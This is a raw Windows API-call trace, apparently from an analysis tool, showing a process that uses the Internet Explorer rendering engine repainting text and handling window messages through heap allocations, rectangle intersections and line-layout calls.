[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.127] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.127] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.127] LsSetDoc () returned 0x0
[0117.127] LsCreateLine () returned 0x0
[0117.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.127] LsDestroyLine () returned 0x0
[0117.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.127] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.127] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.128] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.128] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.128] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.128] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.128] LsSetDoc () returned 0x0
[0117.128] LsCreateLine () returned 0x0
[0117.128] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.128] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.128] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.128] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.128] LsdnFinishRegular () returned 0x0
[0117.128] LsQueryLinePointPcp () returned 0x0
[0117.129] LsDestroyLine () returned 0x0
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.129] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.129] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.129] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.129] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.129] GetCurrentThreadId () returned 0x4e0
[0117.130] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.130] NtdllDefWindowProc_W () returned 0x0
[0117.130] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.130] GetCurrentThreadId () returned 0x4e0
[0117.130] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.130] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.130] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.130] GetCurrentThreadId () returned 0x4e0
[0117.130] GetCurrentThreadId () returned 0x4e0
[0117.130] GetCurrentThreadId () returned 0x4e0
[0117.130] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.131] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.131] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.131] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.131] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.131] GetCurrentThreadId () returned 0x4e0
[0117.131] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.131] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.131] GetMessageTime () returned 43196
[0117.131] GetMessagePos () returned 0x1c4031f
[0117.131] GetCapture () returned 0x0
[0117.131] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.131] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.131] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.131] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.131] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.131] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.132] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.132] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.133] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.133] LsSetDoc () returned 0x0
[0117.133] LsCreateLine () returned 0x0
[0117.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.133] LsDestroyLine () returned 0x0
[0117.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.133] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.133] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.133] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.134] LsSetDoc () returned 0x0
[0117.134] LsCreateLine () returned 0x0
[0117.134] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.134] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.134] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.134] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.134] LsdnFinishRegular () returned 0x0
[0117.134] LsQueryLinePointPcp () returned 0x0
[0117.134] LsDestroyLine () returned 0x0
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.135] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.135] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.135] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.135] GetCursor () returned 0x10005
[0117.135] GetCurrentThreadId () returned 0x4e0
[0117.135] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.135] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.135] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.136] GetMessageTime () returned 43196
[0117.136] GetMessagePos () returned 0x1c4031f
[0117.136] GetCapture () returned 0x0
[0117.136] GetCurrentThreadId () returned 0x4e0
[0117.136] GetCurrentThreadId () returned 0x4e0
[0117.136] GetCurrentThreadId () returned 0x4e0
[0117.136] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.136] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.136] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.136] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.136] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.136] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.136] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.136] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.136] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.136] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.137] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.137] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.137] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.137] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.137] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.137] LsSetDoc () returned 0x0
[0117.137] LsCreateLine () returned 0x0
[0117.137] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.137] LsDestroyLine () returned 0x0
[0117.137] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.137] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.137] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.138] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.138] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.138] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.138] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.138] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.138] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.138] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.138] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.138] LsSetDoc () returned 0x0
[0117.138] LsCreateLine () returned 0x0
[0117.138] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.138] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.138] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.138] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.138] LsdnFinishRegular () returned 0x0
[0117.139] LsQueryLinePointPcp () returned 0x0
[0117.139] LsDestroyLine () returned 0x0
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.139] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
